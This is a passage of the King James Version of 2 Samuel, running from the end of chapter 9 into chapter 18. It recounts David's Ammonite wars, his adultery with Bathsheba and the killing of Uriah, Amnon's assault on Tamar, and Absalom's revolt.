king's table; and was lame on both his feet. + +10:1 And it came to pass after this, that the king of the children of +Ammon died, and Hanun his son reigned in his stead. + +10:2 Then said David, I will shew kindness unto Hanun the son of +Nahash, as his father shewed kindness unto me. And David sent to +comfort him by the hand of his servants for his father. And David's +servants came into the land of the children of Ammon. + +10:3 And the princes of the children of Ammon said unto Hanun their +lord, Thinkest thou that David doth honour thy father, that he hath +sent comforters unto thee? hath not David rather sent his servants +unto thee, to search the city, and to spy it out, and to overthrow it? +10:4 Wherefore Hanun took David's servants, and shaved off the one +half of their beards, and cut off their garments in the middle, even +to their buttocks, and sent them away. + +10:5 When they told it unto David, he sent to meet them, because the +men were greatly ashamed: and the king said, Tarry at Jericho until +your beards be grown, and then return. + +10:6 And when the children of Ammon saw that they stank before David, +the children of Ammon sent and hired the Syrians of Bethrehob and the +Syrians of Zoba, twenty thousand footmen, and of king Maacah a +thousand men, and of Ishtob twelve thousand men. + +10:7 And when David heard of it, he sent Joab, and all the host of the +mighty men. + +10:8 And the children of Ammon came out, and put the battle in array +at the entering in of the gate: and the Syrians of Zoba, and of Rehob, +and Ishtob, and Maacah, were by themselves in the field. + +10:9 When Joab saw that the front of the battle was against him before +and behind, he chose of all the choice men of Israel, and put them in +array against the Syrians: 10:10 And the rest of the people he +delivered into the hand of Abishai his brother, that he might put them +in array against the children of Ammon. + +10:11 And he said, If the Syrians be too strong for me, then thou +shalt help me: but if the children of Ammon be too strong for thee, +then I will come and help thee. + +10:12 Be of good courage, and let us play the men for our people, and +for the cities of our God: and the LORD do that which seemeth him +good. + +10:13 And Joab drew nigh, and the people that were with him, unto the +battle against the Syrians: and they fled before him. + +10:14 And when the children of Ammon saw that the Syrians were fled, +then fled they also before Abishai, and entered into the city. So Joab +returned from the children of Ammon, and came to Jerusalem. + +10:15 And when the Syrians saw that they were smitten before Israel, +they gathered themselves together. + +10:16 And Hadarezer sent, and brought out the Syrians that were beyond +the river: and they came to Helam; and Shobach the captain of the host +of Hadarezer went before them. + +10:17 And when it was told David, he gathered all Israel together, and +passed over Jordan, and came to Helam. And the Syrians set themselves +in array against David, and fought with him. + +10:18 And the Syrians fled before Israel; and David slew the men of +seven hundred chariots of the Syrians, and forty thousand horsemen, +and smote Shobach the captain of their host, who died there. + +10:19 And when all the kings that were servants to Hadarezer saw that +they were smitten before Israel, they made peace with Israel, and +served them. So the Syrians feared to help the children of Ammon any +more. + +11:1 And it came to pass, after the year was expired, at the time when +kings go forth to battle, that David sent Joab, and his servants with +him, and all Israel; and they destroyed the children of Ammon, and +besieged Rabbah. But David tarried still at Jerusalem. + +11:2 And it came to pass in an eveningtide, that David arose from off +his bed, and walked upon the roof of the king's house: and from the +roof he saw a woman washing herself; and the woman was very beautiful +to look upon. + +11:3 And David sent and enquired after the woman. And one said, Is not +this Bathsheba, the daughter of Eliam, the wife of Uriah the Hittite? +11:4 And David sent messengers, and took her; and she came in unto +him, and he lay with her; for she was purified from her uncleanness: +and she returned unto her house. + +11:5 And the woman conceived, and sent and told David, and said, I am +with child. + +11:6 And David sent to Joab, saying, Send me Uriah the Hittite. And +Joab sent Uriah to David. + +11:7 And when Uriah was come unto him, David demanded of him how Joab +did, and how the people did, and how the war prospered. + +11:8 And David said to Uriah, Go down to thy house, and wash thy feet. +And Uriah departed out of the king's house, and there followed him a +mess of meat from the king. + +11:9 But Uriah slept at the door of the king's house with all the +servants of his lord, and went not down to his house. + +11:10 And when they had told David, saying, Uriah went not down unto +his house, David said unto Uriah, Camest thou not from thy journey? +why then didst thou not go down unto thine house? 11:11 And Uriah +said unto David, The ark, and Israel, and Judah, abide in tents; and +my lord Joab, and the servants of my lord, are encamped in the open +fields; shall I then go into mine house, to eat and to drink, and to +lie with my wife? as thou livest, and as thy soul liveth, I will not +do this thing. + +11:12 And David said to Uriah, Tarry here to day also, and to morrow I +will let thee depart. So Uriah abode in Jerusalem that day, and the +morrow. + +11:13 And when David had called him, he did eat and drink before him; +and he made him drunk: and at even he went out to lie on his bed with +the servants of his lord, but went not down to his house. + +11:14 And it came to pass in the morning, that David wrote a letter to +Joab, and sent it by the hand of Uriah. + +11:15 And he wrote in the letter, saying, Set ye Uriah in the +forefront of the hottest battle, and retire ye from him, that he may +be smitten, and die. + +11:16 And it came to pass, when Joab observed the city, that he +assigned Uriah unto a place where he knew that valiant men were. + +11:17 And the men of the city went out, and fought with Joab: and +there fell some of the people of the servants of David; and Uriah the +Hittite died also. + +11:18 Then Joab sent and told David all the things concerning the war; +11:19 And charged the messenger, saying, When thou hast made an end of +telling the matters of the war unto the king, 11:20 And if so be that +the king's wrath arise, and he say unto thee, Wherefore approached ye +so nigh unto the city when ye did fight? knew ye not that they would +shoot from the wall? 11:21 Who smote Abimelech the son of +Jerubbesheth? did not a woman cast a piece of a millstone upon him +from the wall, that he died in Thebez? why went ye nigh the wall? then +say thou, Thy servant Uriah the Hittite is dead also. + +11:22 So the messenger went, and came and shewed David all that Joab +had sent him for. + +11:23 And the messenger said unto David, Surely the men prevailed +against us, and came out unto us into the field, and we were upon them +even unto the entering of the gate. + +11:24 And the shooters shot from off the wall upon thy servants; and +some of the king's servants be dead, and thy servant Uriah the Hittite +is dead also. + +11:25 Then David said unto the messenger, Thus shalt thou say unto +Joab, Let not this thing displease thee, for the sword devoureth one +as well as another: make thy battle more strong against the city, and +overthrow it: and encourage thou him. + +11:26 And when the wife of Uriah heard that Uriah her husband was +dead, she mourned for her husband. + +11:27 And when the mourning was past, David sent and fetched her to +his house, and she became his wife, and bare him a son. But the thing +that David had done displeased the LORD. + +12:1 And the LORD sent Nathan unto David. And he came unto him, and +said unto him, There were two men in one city; the one rich, and the +other poor. + +12:2 The rich man had exceeding many flocks and herds: 12:3 But the +poor man had nothing, save one little ewe lamb, which he had bought +and nourished up: and it grew up together with him, and with his +children; it did eat of his own meat, and drank of his own cup, and +lay in his bosom, and was unto him as a daughter. + +12:4 And there came a traveller unto the rich man, and he spared to +take of his own flock and of his own herd, to dress for the wayfaring +man that was come unto him; but took the poor man's lamb, and dressed +it for the man that was come to him. + +12:5 And David's anger was greatly kindled against the man; and he +said to Nathan, As the LORD liveth, the man that hath done this thing +shall surely die: 12:6 And he shall restore the lamb fourfold, because +he did this thing, and because he had no pity. + +12:7 And Nathan said to David, Thou art the man. Thus saith the LORD +God of Israel, I anointed thee king over Israel, and I delivered thee +out of the hand of Saul; 12:8 And I gave thee thy master's house, and +thy master's wives into thy bosom, and gave thee the house of Israel +and of Judah; and if that had been too little, I would moreover have +given unto thee such and such things. + +12:9 Wherefore hast thou despised the commandment of the LORD, to do +evil in his sight? thou hast killed Uriah the Hittite with the sword, +and hast taken his wife to be thy wife, and hast slain him with the +sword of the children of Ammon. + +12:10 Now therefore the sword shall never depart from thine house; +because thou hast despised me, and hast taken the wife of Uriah the +Hittite to be thy wife. + +12:11 Thus saith the LORD, Behold, I will raise up evil against thee +out of thine own house, and I will take thy wives before thine eyes, +and give them unto thy neighbour, and he shall lie with thy wives in +the sight of this sun. + +12:12 For thou didst it secretly: but I will do this thing before all +Israel, and before the sun. + +12:13 And David said unto Nathan, I have sinned against the LORD. And +Nathan said unto David, The LORD also hath put away thy sin; thou +shalt not die. + +12:14 Howbeit, because by this deed thou hast given great occasion to +the enemies of the LORD to blaspheme, the child also that is born unto +thee shall surely die. + +12:15 And Nathan departed unto his house. And the LORD struck the +child that Uriah's wife bare unto David, and it was very sick. + +12:16 David therefore besought God for the child; and David fasted, +and went in, and lay all night upon the earth. + +12:17 And the elders of his house arose, and went to him, to raise him +up from the earth: but he would not, neither did he eat bread with +them. + +12:18 And it came to pass on the seventh day, that the child died. And +the servants of David feared to tell him that the child was dead: for +they said, Behold, while the child was yet alive, we spake unto him, +and he would not hearken unto our voice: how will he then vex himself, +if we tell him that the child is dead? 12:19 But when David saw that +his servants whispered, David perceived that the child was dead: +therefore David said unto his servants, Is the child dead? And they +said, He is dead. + +12:20 Then David arose from the earth, and washed, and anointed +himself, and changed his apparel, and came into the house of the LORD, +and worshipped: then he came to his own house; and when he required, +they set bread before him, and he did eat. + +12:21 Then said his servants unto him, What thing is this that thou +hast done? thou didst fast and weep for the child, while it was alive; +but when the child was dead, thou didst rise and eat bread. + +12:22 And he said, While the child was yet alive, I fasted and wept: +for I said, Who can tell whether GOD will be gracious to me, that the +child may live? 12:23 But now he is dead, wherefore should I fast? +can I bring him back again? I shall go to him, but he shall not return +to me. + +12:24 And David comforted Bathsheba his wife, and went in unto her, +and lay with her: and she bare a son, and he called his name Solomon: +and the LORD loved him. + +12:25 And he sent by the hand of Nathan the prophet; and he called his +name Jedidiah, because of the LORD. + +12:26 And Joab fought against Rabbah of the children of Ammon, and +took the royal city. + +12:27 And Joab sent messengers to David, and said, I have fought +against Rabbah, and have taken the city of waters. + +12:28 Now therefore gather the rest of the people together, and encamp +against the city, and take it: lest I take the city, and it be called +after my name. + +12:29 And David gathered all the people together, and went to Rabbah, +and fought against it, and took it. + +12:30 And he took their king's crown from off his head, the weight +whereof was a talent of gold with the precious stones: and it was set +on David's head. And he brought forth the spoil of the city in great +abundance. + +12:31 And he brought forth the people that were therein, and put them +under saws, and under harrows of iron, and under axes of iron, and +made them pass through the brick-kiln: and thus did he unto all the +cities of the children of Ammon. So David and all the people returned +unto Jerusalem. + +13:1 And it came to pass after this, that Absalom the son of David had +a fair sister, whose name was Tamar; and Amnon the son of David loved +her. + +13:2 And Amnon was so vexed, that he fell sick for his sister Tamar; +for she was a virgin; and Amnon thought it hard for him to do anything +to her. + +13:3 But Amnon had a friend, whose name was Jonadab, the son of +Shimeah David's brother: and Jonadab was a very subtil man. + +13:4 And he said unto him, Why art thou, being the king's son, lean +from day to day? wilt thou not tell me? And Amnon said unto him, I +love Tamar, my brother Absalom's sister. + +13:5 And Jonadab said unto him, Lay thee down on thy bed, and make +thyself sick: and when thy father cometh to see thee, say unto him, I +pray thee, let my sister Tamar come, and give me meat, and dress the +meat in my sight, that I may see it, and eat it at her hand. + +13:6 So Amnon lay down, and made himself sick: and when the king was +come to see him, Amnon said unto the king, I pray thee, let Tamar my +sister come, and make me a couple of cakes in my sight, that I may eat +at her hand. + +13:7 Then David sent home to Tamar, saying, Go now to thy brother +Amnon's house, and dress him meat. + +13:8 So Tamar went to her brother Amnon's house; and he was laid down. +And she took flour, and kneaded it, and made cakes in his sight, and +did bake the cakes. + +13:9 And she took a pan, and poured them out before him; but he +refused to eat. And Amnon said, Have out all men from me. And they +went out every man from him. + +13:10 And Amnon said unto Tamar, Bring the meat into the chamber, that +I may eat of thine hand. And Tamar took the cakes which she had made, +and brought them into the chamber to Amnon her brother. + +13:11 And when she had brought them unto him to eat, he took hold of +her, and said unto her, Come lie with me, my sister. + +13:12 And she answered him, Nay, my brother, do not force me; for no +such thing ought to be done in Israel: do not thou this folly. + +13:13 And I, whither shall I cause my shame to go? and as for thee, +thou shalt be as one of the fools in Israel. Now therefore, I pray +thee, speak unto the king; for he will not withhold me from thee. + +13:14 Howbeit he would not hearken unto her voice: but, being stronger +than she, forced her, and lay with her. + +13:15 Then Amnon hated her exceedingly; so that the hatred wherewith +he hated her was greater than the love wherewith he had loved her. And +Amnon said unto her, Arise, be gone. + +13:16 And she said unto him, There is no cause: this evil in sending +me away is greater than the other that thou didst unto me. But he +would not hearken unto her. + +13:17 Then he called his servant that ministered unto him, and said, +Put now this woman out from me, and bolt the door after her. + +13:18 And she had a garment of divers colours upon her: for with such +robes were the king's daughters that were virgins apparelled. Then his +servant brought her out, and bolted the door after her. + +13:19 And Tamar put ashes on her head, and rent her garment of divers +colours that was on her, and laid her hand on her head, and went on +crying. + +13:20 And Absalom her brother said unto her, Hath Amnon thy brother +been with thee? but hold now thy peace, my sister: he is thy brother; +regard not this thing. So Tamar remained desolate in her brother +Absalom's house. + +13:21 But when king David heard of all these things, he was very +wroth. + +13:22 And Absalom spake unto his brother Amnon neither good nor bad: +for Absalom hated Amnon, because he had forced his sister Tamar. + +13:23 And it came to pass after two full years, that Absalom had +sheepshearers in Baalhazor, which is beside Ephraim: and Absalom +invited all the king's sons. + +13:24 And Absalom came to the king, and said, Behold now, thy servant +hath sheepshearers; let the king, I beseech thee, and his servants go +with thy servant. + +13:25 And the king said to Absalom, Nay, my son, let us not all now +go, lest we be chargeable unto thee. And he pressed him: howbeit he +would not go, but blessed him. + +13:26 Then said Absalom, If not, I pray thee, let my brother Amnon go +with us. And the king said unto him, Why should he go with thee? +13:27 But Absalom pressed him, that he let Amnon and all the king's +sons go with him. + +13:28 Now Absalom had commanded his servants, saying, Mark ye now when +Amnon's heart is merry with wine, and when I say unto you, Smite +Amnon; then kill him, fear not: have not I commanded you? be +courageous, and be valiant. + +13:29 And the servants of Absalom did unto Amnon as Absalom had +commanded. + +Then all the king's sons arose, and every man gat him up upon his +mule, and fled. + +13:30 And it came to pass, while they were in the way, that tidings +came to David, saying, Absalom hath slain all the king's sons, and +there is not one of them left. + +13:31 Then the king arose, and tare his garments, and lay on the +earth; and all his servants stood by with their clothes rent. + +13:32 And Jonadab, the son of Shimeah David's brother, answered and +said, Let not my lord suppose that they have slain all the young men +the king's sons; for Amnon only is dead: for by the appointment of +Absalom this hath been determined from the day that he forced his +sister Tamar. + +13:33 Now therefore let not my lord the king take the thing to his +heart, to think that all the king's sons are dead: for Amnon only is +dead. + +13:34 But Absalom fled. And the young man that kept the watch lifted +up his eyes, and looked, and, behold, there came much people by the +way of the hill side behind him. + +13:35 And Jonadab said unto the king, Behold, the king's sons come: as +thy servant said, so it is. + +13:36 And it came to pass, as soon as he had made an end of speaking, +that, behold, the king's sons came, and lifted up their voice and +wept: and the king also and all his servants wept very sore. + +13:37 But Absalom fled, and went to Talmai, the son of Ammihud, king +of Geshur. And David mourned for his son every day. + +13:38 So Absalom fled, and went to Geshur, and was there three years. + +13:39 And the soul of king David longed to go forth unto Absalom: for +he was comforted concerning Amnon, seeing he was dead. + +14:1 Now Joab the son of Zeruiah perceived that the king's heart was +toward Absalom. + +14:2 And Joab sent to Tekoah, and fetched thence a wise woman, and +said unto her, I pray thee, feign thyself to be a mourner, and put on +now mourning apparel, and anoint not thyself with oil, but be as a +woman that had a long time mourned for the dead: 14:3 And come to the +king, and speak on this manner unto him. So Joab put the words in her +mouth. + +14:4 And when the woman of Tekoah spake to the king, she fell on her +face to the ground, and did obeisance, and said, Help, O king. + +14:5 And the king said unto her, What aileth thee? And she answered, I +am indeed a widow woman, and mine husband is dead. + +14:6 And thy handmaid had two sons, and they two strove together in +the field, and there was none to part them, but the one smote the +other, and slew him. + +14:7 And, behold, the whole family is risen against thine handmaid, +and they said, Deliver him that smote his brother, that we may kill +him, for the life of his brother whom he slew; and we will destroy the +heir also: and so they shall quench my coal which is left, and shall +not leave to my husband neither name nor remainder upon the earth. + +14:8 And the king said unto the woman, Go to thine house, and I will +give charge concerning thee. + +14:9 And the woman of Tekoah said unto the king, My lord, O king, the +iniquity be on me, and on my father's house: and the king and his +throne be guiltless. + +14:10 And the king said, Whoever saith ought unto thee, bring him to +me, and he shall not touch thee any more. + +14:11 Then said she, I pray thee, let the king remember the LORD thy +God, that thou wouldest not suffer the revengers of blood to destroy +any more, lest they destroy my son. And he said, As the LORD liveth, +there shall not one hair of thy son fall to the earth. + +14:12 Then the woman said, Let thine handmaid, I pray thee, speak one +word unto my lord the king. And he said, Say on. + +14:13 And the woman said, Wherefore then hast thou thought such a +thing against the people of God? for the king doth speak this thing as +one which is faulty, in that the king doth not fetch home again his +banished. + +14:14 For we must needs die, and are as water spilt on the ground, +which cannot be gathered up again; neither doth God respect any +person: yet doth he devise means, that his banished be not expelled +from him. + +14:15 Now therefore that I am come to speak of this thing unto my lord +the king, it is because the people have made me afraid: and thy +handmaid said, I will now speak unto the king; it may be that the king +will perform the request of his handmaid. + +14:16 For the king will hear, to deliver his handmaid out of the hand +of the man that would destroy me and my son together out of the +inheritance of God. + +14:17 Then thine handmaid said, The word of my lord the king shall now +be comfortable: for as an angel of God, so is my lord the king to +discern good and bad: therefore the LORD thy God will be with thee. + +14:18 Then the king answered and said unto the woman, Hide not from +me, I pray thee, the thing that I shall ask thee. And the woman said, +Let my lord the king now speak. + +14:19 And the king said, Is not the hand of Joab with thee in all +this? And the woman answered and said, As thy soul liveth, my lord +the king, none can turn to the right hand or to the left from ought +that my lord the king hath spoken: for thy servant Joab, he bade me, +and he put all these words in the mouth of thine handmaid: 14:20 To +fetch about this form of speech hath thy servant Joab done this thing: +and my lord is wise, according to the wisdom of an angel of God, to +know all things that are in the earth. + +14:21 And the king said unto Joab, Behold now, I have done this thing: +go therefore, bring the young man Absalom again. + +14:22 And Joab fell to the ground on his face, and bowed himself, and +thanked the king: and Joab said, To day thy servant knoweth that I +have found grace in thy sight, my lord, O king, in that the king hath +fulfilled the request of his servant. + +14:23 So Joab arose and went to Geshur, and brought Absalom to +Jerusalem. + +14:24 And the king said, Let him turn to his own house, and let him +not see my face. So Absalom returned to his own house, and saw not the +king's face. + +14:25 But in all Israel there was none to be so much praised as +Absalom for his beauty: from the sole of his foot even to the crown of +his head there was no blemish in him. + +14:26 And when he polled his head, (for it was at every year's end +that he polled it: because the hair was heavy on him, therefore he +polled it:) he weighed the hair of his head at two hundred shekels +after the king's weight. + +14:27 And unto Absalom there were born three sons, and one daughter, +whose name was Tamar: she was a woman of a fair countenance. + +14:28 So Absalom dwelt two full years in Jerusalem, and saw not the +king's face. + +14:29 Therefore Absalom sent for Joab, to have sent him to the king; +but he would not come to him: and when he sent again the second time, +he would not come. + +14:30 Therefore he said unto his servants, See, Joab's field is near +mine, and he hath barley there; go and set it on fire. And Absalom's +servants set the field on fire. + +14:31 Then Joab arose, and came to Absalom unto his house, and said +unto him, Wherefore have thy servants set my field on fire? 14:32 And +Absalom answered Joab, Behold, I sent unto thee, saying, Come hither, +that I may send thee to the king, to say, Wherefore am I come from +Geshur? it had been good for me to have been there still: now +therefore let me see the king's face; and if there be any iniquity in +me, let him kill me. + +14:33 So Joab came to the king, and told him: and when he had called +for Absalom, he came to the king, and bowed himself on his face to the +ground before the king: and the king kissed Absalom. + +15:1 And it came to pass after this, that Absalom prepared him +chariots and horses, and fifty men to run before him. + +15:2 And Absalom rose up early, and stood beside the way of the gate: +and it was so, that when any man that had a controversy came to the +king for judgment, then Absalom called unto him, and said, Of what +city art thou? And he said, Thy servant is of one of the tribes of +Israel. + +15:3 And Absalom said unto him, See, thy matters are good and right; +but there is no man deputed of the king to hear thee. + +15:4 Absalom said moreover, Oh that I were made judge in the land, +that every man which hath any suit or cause might come unto me, and I +would do him justice! 15:5 And it was so, that when any man came nigh +to him to do him obeisance, he put forth his hand, and took him, and +kissed him. + +15:6 And on this manner did Absalom to all Israel that came to the +king for judgment: so Absalom stole the hearts of the men of Israel. + +15:7 And it came to pass after forty years, that Absalom said unto the +king, I pray thee, let me go and pay my vow, which I have vowed unto +the LORD, in Hebron. + +15:8 For thy servant vowed a vow while I abode at Geshur in Syria, +saying, If the LORD shall bring me again indeed to Jerusalem, then I +will serve the LORD. + +15:9 And the king said unto him, Go in peace. So he arose, and went to +Hebron. + +15:10 But Absalom sent spies throughout all the tribes of Israel, +saying, As soon as ye hear the sound of the trumpet, then ye shall +say, Absalom reigneth in Hebron. + +15:11 And with Absalom went two hundred men out of Jerusalem, that +were called; and they went in their simplicity, and they knew not any +thing. + +15:12 And Absalom sent for Ahithophel the Gilonite, David's +counsellor, from his city, even from Giloh, while he offered +sacrifices. And the conspiracy was strong; for the people increased +continually with Absalom. + +15:13 And there came a messenger to David, saying, The hearts of the +men of Israel are after Absalom. + +15:14 And David said unto all his servants that were with him at +Jerusalem, Arise, and let us flee; for we shall not else escape from +Absalom: make speed to depart, lest he overtake us suddenly, and bring +evil upon us, and smite the city with the edge of the sword. + +15:15 And the king's servants said unto the king, Behold, thy servants +are ready to do whatsoever my lord the king shall appoint. + +15:16 And the king went forth, and all his household after him. And +the king left ten women, which were concubines, to keep the house. + +15:17 And the king went forth, and all the people after him, and +tarried in a place that was far off. + +15:18 And all his servants passed on beside him; and all the +Cherethites, and all the Pelethites, and all the Gittites, six hundred +men which came after him from Gath, passed on before the king. + +15:19 Then said the king to Ittai the Gittite, Wherefore goest thou +also with us? return to thy place, and abide with the king: for thou +art a stranger, and also an exile. + +15:20 Whereas thou camest but yesterday, should I this day make thee +go up and down with us? seeing I go whither I may, return thou, and +take back thy brethren: mercy and truth be with thee. + +15:21 And Ittai answered the king, and said, As the LORD liveth, and +as my lord the king liveth, surely in what place my lord the king +shall be, whether in death or life, even there also will thy servant +be. + +15:22 And David said to Ittai, Go and pass over. And Ittai the Gittite +passed over, and all his men, and all the little ones that were with +him. + +15:23 And all the country wept with a loud voice, and all the people +passed over: the king also himself passed over the brook Kidron, and +all the people passed over, toward the way of the wilderness. + +15:24 And lo Zadok also, and all the Levites were with him, bearing +the ark of the covenant of God: and they set down the ark of God; and +Abiathar went up, until all the people had done passing out of the +city. + +15:25 And the king said unto Zadok, Carry back the ark of God into the +city: if I shall find favour in the eyes of the LORD, he will bring me +again, and shew me both it, and his habitation: 15:26 But if he thus +say, I have no delight in thee; behold, here am I, let him do to me as +seemeth good unto him. + +15:27 The king said also unto Zadok the priest, Art not thou a seer? +return into the city in peace, and your two sons with you, Ahimaaz thy +son, and Jonathan the son of Abiathar. + +15:28 See, I will tarry in the plain of the wilderness, until there +come word from you to certify me. + +15:29 Zadok therefore and Abiathar carried the ark of God again to +Jerusalem: and they tarried there. + +15:30 And David went up by the ascent of mount Olivet, and wept as he +went up, and had his head covered, and he went barefoot: and all the +people that was with him covered every man his head, and they went up, +weeping as they went up. + +15:31 And one told David, saying, Ahithophel is among the conspirators +with Absalom. And David said, O LORD, I pray thee, turn the counsel of +Ahithophel into foolishness. + +15:32 And it came to pass, that when David was come to the top of the +mount, where he worshipped God, behold, Hushai the Archite came to +meet him with his coat rent, and earth upon his head: 15:33 Unto whom +David said, If thou passest on with me, then thou shalt be a burden +unto me: 15:34 But if thou return to the city, and say unto Absalom, I +will be thy servant, O king; as I have been thy father's servant +hitherto, so will I now also be thy servant: then mayest thou for me +defeat the counsel of Ahithophel. + +15:35 And hast thou not there with thee Zadok and Abiathar the +priests? therefore it shall be, that what thing soever thou shalt +hear out of the king's house, thou shalt tell it to Zadok and Abiathar +the priests. + +15:36 Behold, they have there with them their two sons, Ahimaaz +Zadok's son, and Jonathan Abiathar's son; and by them ye shall send +unto me every thing that ye can hear. + +15:37 So Hushai David's friend came into the city, and Absalom came +into Jerusalem. + +16:1 And when David was a little past the top of the hill, behold, +Ziba the servant of Mephibosheth met him, with a couple of asses +saddled, and upon them two hundred loaves of bread, and an hundred +bunches of raisins, and an hundred of summer fruits, and a bottle of +wine. + +16:2 And the king said unto Ziba, What meanest thou by these? And Ziba +said, The asses be for the king's household to ride on; and the bread +and summer fruit for the young men to eat; and the wine, that such as +be faint in the wilderness may drink. + +16:3 And the king said, And where is thy master's son? And Ziba said +unto the king, Behold, he abideth at Jerusalem: for he said, To day +shall the house of Israel restore me the kingdom of my father. + +16:4 Then said the king to Ziba, Behold, thine are all that pertained +unto Mephibosheth. And Ziba said, I humbly beseech thee that I may +find grace in thy sight, my lord, O king. + +16:5 And when king David came to Bahurim, behold, thence came out a +man of the family of the house of Saul, whose name was Shimei, the son +of Gera: he came forth, and cursed still as he came. + +16:6 And he cast stones at David, and at all the servants of king +David: and all the people and all the mighty men were on his right +hand and on his left. + +16:7 And thus said Shimei when he cursed, Come out, come out, thou +bloody man, and thou man of Belial: 16:8 The LORD hath returned upon +thee all the blood of the house of Saul, in whose stead thou hast +reigned; and the LORD hath delivered the kingdom into the hand of +Absalom thy son: and, behold, thou art taken in thy mischief, because +thou art a bloody man. + +16:9 Then said Abishai the son of Zeruiah unto the king, Why should +this dead dog curse my lord the king? let me go over, I pray thee, and +take off his head. + +16:10 And the king said, What have I to do with you, ye sons of +Zeruiah? so let him curse, because the LORD hath said unto him, Curse +David. Who shall then say, Wherefore hast thou done so? 16:11 And +David said to Abishai, and to all his servants, Behold, my son, which +came forth of my bowels, seeketh my life: how much more now may this +Benjamite do it? let him alone, and let him curse; for the LORD hath +bidden him. + +16:12 It may be that the LORD will look on mine affliction, and that +the LORD will requite me good for his cursing this day. + +16:13 And as David and his men went by the way, Shimei went along on +the hill's side over against him, and cursed as he went, and threw +stones at him, and cast dust. + +16:14 And the king, and all the people that were with him, came weary, +and refreshed themselves there. + +16:15 And Absalom, and all the people the men of Israel, came to +Jerusalem, and Ahithophel with him. + +16:16 And it came to pass, when Hushai the Archite, David's friend, +was come unto Absalom, that Hushai said unto Absalom, God save the +king, God save the king. + +16:17 And Absalom said to Hushai, Is this thy kindness to thy friend? +why wentest thou not with thy friend? 16:18 And Hushai said unto +Absalom, Nay; but whom the LORD, and this people, and all the men of +Israel, choose, his will I be, and with him will I abide. + +16:19 And again, whom should I serve? should I not serve in the +presence of his son? as I have served in thy father's presence, so +will I be in thy presence. + +16:20 Then said Absalom to Ahithophel, Give counsel among you what we +shall do. + +16:21 And Ahithophel said unto Absalom, Go in unto thy father's +concubines, which he hath left to keep the house; and all Israel shall +hear that thou art abhorred of thy father: then shall the hands of all +that are with thee be strong. + +16:22 So they spread Absalom a tent upon the top of the house; and +Absalom went in unto his father's concubines in the sight of all +Israel. + +16:23 And the counsel of Ahithophel, which he counselled in those +days, was as if a man had enquired at the oracle of God: so was all +the counsel of Ahithophel both with David and with Absalom. + +17:1 Moreover Ahithophel said unto Absalom, Let me now choose out +twelve thousand men, and I will arise and pursue after David this +night: 17:2 And I will come upon him while he is weary and weak +handed, and will make him afraid: and all the people that are with him +shall flee; and I will smite the king only: 17:3 And I will bring back +all the people unto thee: the man whom thou seekest is as if all +returned: so all the people shall be in peace. + +17:4 And the saying pleased Absalom well, and all the elders of +Israel. + +17:5 Then said Absalom, Call now Hushai the Archite also, and let us +hear likewise what he saith. + +17:6 And when Hushai was come to Absalom, Absalom spake unto him, +saying, Ahithophel hath spoken after this manner: shall we do after +his saying? if not; speak thou. + +17:7 And Hushai said unto Absalom, The counsel that Ahithophel hath +given is not good at this time. + +17:8 For, said Hushai, thou knowest thy father and his men, that they +be mighty men, and they be chafed in their minds, as a bear robbed of +her whelps in the field: and thy father is a man of war, and will not +lodge with the people. + +17:9 Behold, he is hid now in some pit, or in some other place: and it +will come to pass, when some of them be overthrown at the first, that +whosoever heareth it will say, There is a slaughter among the people +that follow Absalom. + +17:10 And he also that is valiant, whose heart is as the heart of a +lion, shall utterly melt: for all Israel knoweth that thy father is a +mighty man, and they which be with him are valiant men. + +17:11 Therefore I counsel that all Israel be generally gathered unto +thee, from Dan even to Beersheba, as the sand that is by the sea for +multitude; and that thou go to battle in thine own person. + +17:12 So shall we come upon him in some place where he shall be found, +and we will light upon him as the dew falleth on the ground: and of +him and of all the men that are with him there shall not be left so +much as one. + +17:13 Moreover, if he be gotten into a city, then shall all Israel +bring ropes to that city, and we will draw it into the river, until +there be not one small stone found there. + +17:14 And Absalom and all the men of Israel said, The counsel of +Hushai the Archite is better than the counsel of Ahithophel. For the +LORD had appointed to defeat the good counsel of Ahithophel, to the +intent that the LORD might bring evil upon Absalom. + +17:15 Then said Hushai unto Zadok and to Abiathar the priests, Thus +and thus did Ahithophel counsel Absalom and the elders of Israel; and +thus and thus have I counselled. + +17:16 Now therefore send quickly, and tell David, saying, Lodge not +this night in the plains of the wilderness, but speedily pass over; +lest the king be swallowed up, and all the people that are with him. + +17:17 Now Jonathan and Ahimaaz stayed by Enrogel; for they might not +be seen to come into the city: and a wench went and told them; and +they went and told king David. + +17:18 Nevertheless a lad saw them, and told Absalom: but they went +both of them away quickly, and came to a man's house in Bahurim, which +had a well in his court; whither they went down. + +17:19 And the woman took and spread a covering over the well's mouth, +and spread ground corn thereon; and the thing was not known. + +17:20 And when Absalom's servants came to the woman to the house, they +said, Where is Ahimaaz and Jonathan? And the woman said unto them, +They be gone over the brook of water. And when they had sought and +could not find them, they returned to Jerusalem. + +17:21 And it came to pass, after they were departed, that they came up +out of the well, and went and told king David, and said unto David, +Arise, and pass quickly over the water: for thus hath Ahithophel +counselled against you. + +17:22 Then David arose, and all the people that were with him, and +they passed over Jordan: by the morning light there lacked not one of +them that was not gone over Jordan. + +17:23 And when Ahithophel saw that his counsel was not followed, he +saddled his ass, and arose, and gat him home to his house, to his +city, and put his household in order, and hanged himself, and died, +and was buried in the sepulchre of his father. + +17:24 Then David came to Mahanaim. And Absalom passed over Jordan, he +and all the men of Israel with him. + +17:25 And Absalom made Amasa captain of the host instead of Joab: +which Amasa was a man's son, whose name was Ithra an Israelite, that +went in to Abigail the daughter of Nahash, sister to Zeruiah Joab's +mother. + +17:26 So Israel and Absalom pitched in the land of Gilead. + +17:27 And it came to pass, when David was come to Mahanaim, that Shobi +the son of Nahash of Rabbah of the children of Ammon, and Machir the +son of Ammiel of Lodebar, and Barzillai the Gileadite of Rogelim, +17:28 Brought beds, and basons, and earthen vessels, and wheat, and +barley, and flour, and parched corn, and beans, and lentiles, and +parched pulse, 17:29 And honey, and butter, and sheep, and cheese of +kine, for David, and for the people that were with him, to eat: for +they said, The people is hungry, and weary, and thirsty, in the +wilderness. + +18:1 And David numbered the people that were with him, and set +captains of thousands, and captains of hundreds over them. + +18:2 And David sent forth a third part of the people under the hand of +Joab, and a third part under the hand of Abishai the son of Zeruiah, +Joab's brother, and a third part under the hand of Ittai the Gittite. +And the king said unto the people, I will surely go forth with you +myself also. + +18:3 But the people answered, Thou shalt not go forth: for if we flee +away, they will not care for us; neither if half of us die, will they +care for us: but now thou art worth ten thousand of us: therefore now +it is better that thou succour us out of the city. + +18:4 And the king said unto them, What seemeth you best I will do. And +the king stood by the gate side, and all the people came out by +hundreds and by thousands. + 